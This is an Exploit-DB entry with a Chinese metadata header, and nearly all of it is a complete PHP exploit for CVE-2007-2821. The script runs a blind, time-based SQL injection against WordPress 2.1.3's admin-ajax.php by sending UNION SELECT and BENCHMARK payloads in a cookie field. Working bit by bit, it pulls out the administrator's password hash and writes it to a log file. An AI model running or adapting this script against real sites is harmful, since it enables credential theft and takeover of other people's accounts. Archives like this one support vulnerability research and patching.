标题: WordPress Core 2.1.3 - 'admin-ajax.php' SQL Injection Blind Fishing EDB-ID: 3960 CVE: 2007-2821 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-21 漏洞利用脚本: <?php
error_reporting(E_ALL);
$norm_delay = 0;
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
// written by Janek Vind "waraxe"
// http://www.waraxe.us/
// 21. may 2007
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$outfile = './warlog.txt';// Log file
$url = 'http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php';
$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
$id = 1;// ID of the target user, default value "1" is admin's ID
$suffix = '';// Override value, if needed
$prefix = 'wp_';// WordPress table prefix, default is "wp_"
//======================================================================

echo "Target: $url\n";
echo "sql table prefix: $prefix\n";

if(empty($suffix))
{
 $suffix = md5(substr($url, 0, strlen($url) - 24));
}

echo "cookie suffix: $suffix\n";

echo "testing probe delays \n";

$norm_delay = get_normdelay($testcnt);
echo "normal delay: $norm_delay deciseconds\n";

$hash = get_hash();

add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");

echo "\nWork finished\n";
echo "Questions and feedback - http://www.waraxe.us/ \n";
die("See ya! :) \n");
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash()
{
 $len = 32;
 $field = 'user_pass';
 $out = '';
 
 echo "finding hash now ...\n";
 
 for($i = 1; $i < $len + 1; $i ++)
 {
  $ch = get_hashchar($field,$i);
  echo "got $field pos $i --> $ch\n";
  $out .= "$ch";
  echo "current value for $field: $out \n";
 }
 
 echo "\nFinal result: $field=$out\n\n";
 
 return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($field,$pos)
{
 global $prefix, $suffix, $id, $testcnt;
 $char = '';
 $cnt = $testcnt * 4;
 $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
 $ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";

 // First let's determine, if it's number or letter
 $inj = sprintf($ipattern, $prefix, $id, ">57");
 $post = sprintf($ppattern, $suffix, $inj, $suffix);
 $letter = test_condition($post);
 
 if($letter)
 {
  $min = 97;
  $max = 102;
  echo "char to find is [a-f]\n";
 }
 else
 {
  $min = 48;
  $max = 57;
  echo "char to find is [0-9]\n";
 }

 $curr = 0;
 
 while(1)
 {
  $area = $max - $min;
  if($area < 2 )
  {
   $inj = sprintf($ipattern, $prefix, $id, "=$max");
   $post = sprintf($ppattern, $suffix, $inj, $suffix);
   $eq = test_condition($post);
   
   if($eq)
   {
    $char = chr($max);
   }
   else
   {
    $char = chr($min);
   }
   
   break;
  }
  
  $half = intval(floor($area / 2));
  $curr = $min + $half;
  
  $inj = sprintf($ipattern, $prefix, $id, ">$curr");
  $post = sprintf($ppattern, $suffix, $inj, $suffix);
  
  $bigger = test_condition($post);
  
  if($bigger)
  {
   $min = $curr;
  }
  else
  {
   $max = $curr;
  }

  echo "curr: $curr--$max--$min\n";
 }
 
 return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
 global $url, $norm_delay;
 $bret = false;
 $maxtry = 10;
 $try = 1;
 
 while(1)
 {
  $start = getmicrotime();
  $buff = make_post($url, $p);
  $end = getmicrotime();
 
  if($buff === '-1')
  {
   break;
  }
  else
  {
   echo "test_condition() - try $try - invalid return value ...\n";
   $try ++;
   if($try > $maxtry)
   {
    die("too many tries - exiting ...\n");
   }
   else
   {
    echo "trying again - try $try ...\n";
   }
  }
 }
 
 $diff = $end - $start;
 $delay = intval($diff * 10);
 
 if($delay > ($norm_delay * 2))
 {
  $bret = true;
 }
 
 return $bret;
}
///////////////////////////////////////////////////////////////////////
function get_normdelay($testcnt)
{
 $fa = test_md5delay(1);
 echo "$fa\n";
 $sa = test_md5delay($testcnt);
 echo "$sa\n";
 $fb = test_md5delay(1);
 echo "$fb\n";
 $sb = test_md5delay($testcnt);
 echo "$sb\n";
 $fc = test_md5delay(1);
 echo "$fc\n";
 $sc = test_md5delay($testcnt);
 echo "$sc\n";
 
 $mean_nondelayed = intval(($fa + $fb + $fc) / 3);
 echo "mean nondelayed - $mean_nondelayed dsecs\n";
 $mean_delayed = intval(($sa + $sb + $sc) / 3);
 echo "mean delayed - $mean_delayed dsecs\n";
 
 return $mean_delayed;
}
///////////////////////////////////////////////////////////////////////
function test_md5delay($cnt)
{
 global $url, $id, $prefix, $suffix;
 
 // delay in deciseconds
 $delay = -1;
 $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
 $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
 $inj = sprintf($ipattern, $prefix, $id, $cnt);
 $post = sprintf($ppattern, $suffix, $inj, $suffix); 

 $start = getmicrotime();
 $buff = make_post($url, $post);
 $end = getmicrotime();
 
 if(intval($buff) !== -1)
 {
  die("test_md5delay($cnt) - invalid return value, exiting ...");
 }

 $diff = $end - $start;
 $delay = intval($diff * 10);

 return $delay;
}
///////////////////////////////////////////////////////////////////////
function getmicrotime() 
{ 
    list($usec, $sec) = explode(" ", microtime()); 
    return ((float)$usec + (float)$sec); 
} 
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
 $ch = curl_init();
 $timeout = 120;
 curl_setopt ($ch, CURLOPT_URL, $url);
 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
 curl_setopt($ch, CURLOPT_POST, 1); 
 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); 
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
 curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
 
 if(!empty($cookie))
 {
  curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
 }
 
 if(!empty($referer))
 {
  curl_setopt ($ch, CURLOPT_REFERER, $referer);
 }

 if($headers === TRUE)
 {
  curl_setopt ($ch, CURLOPT_HEADER, TRUE);
 }
 else
 {
  curl_setopt ($ch, CURLOPT_HEADER, FALSE);
 }

 $fc = curl_exec($ch);
 curl_close($ch);
 
 return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($buf)
{
 global $outfile;
 
 $buf .= "\n";
 $fh = fopen($outfile, 'ab');
 fwrite($fh, $buf);
 fclose($fh);
 
}
///////////////////////////////////////////////////////////////////////
?>

# milw0rm.com [2007-05-21] URL: https://www.exploit-db.com/exploits/3960